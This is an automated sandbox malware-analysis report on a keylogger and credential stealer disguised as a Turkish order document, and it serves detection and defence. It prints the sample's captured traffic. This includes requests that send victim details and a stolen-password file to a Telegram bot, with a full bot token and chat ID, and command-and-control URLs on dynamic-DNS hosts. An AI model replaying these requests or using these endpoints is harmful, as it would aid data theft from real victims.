Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 4x nop then jmp 012FF475h	5_2_012FF2D8
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 4x nop then jmp 012FF475h	5_2_012FF4C4
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 4x nop then jmp 012FFC31h	5_2_012FF979

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.7:49757 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49804 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2010/01/2025%20/%2004:43:02%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U/sendDocument?chat_id=-4732682041&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd31a0fcea8a14Host: api.telegram.orgContent-Length: 585

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49710 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49701 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49706 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49717 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49732 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49704 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2010/01/2025%20/%2004:43:02%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U/sendDocument?chat_id=-4732682041&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd31a0fcea8a14Host: api.telegram.orgContent-Length: 585

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 18:01:23 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1518653300.0000000002521000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49757 version: TLS 1.2

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 0_2_00CEE5A4	0_2_00CEE5A4
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 0_2_04AA7490	0_2_04AA7490
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 0_2_04AA0690	0_2_04AA0690
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 0_2_04AA7480	0_2_04AA7480
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 0_2_04AA0688	0_2_04AA0688
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FC147	5_2_012FC147
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FA088	5_2_012FA088
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012F5362	5_2_012F5362
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FD278	5_2_012FD278
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FC468	5_2_012FC468
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FC738	5_2_012FC738
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012F69A0	5_2_012F69A0
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FE988	5_2_012FE988
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FCA08	5_2_012FCA08
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FCCD8	5_2_012FCCD8
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FCFA9	5_2_012FCFA9
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012F6FC8	5_2_012F6FC8
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FE97B	5_2_012FE97B
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012FF979	5_2_012FF979
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012F29E0	5_2_012F29E0
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_012F3E09	5_2_012F3E09
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_06C4AFD0	5_2_06C4AFD0
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_06C4DE46	5_2_06C4DE46
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_06C4DE50	5_2_06C4DE50
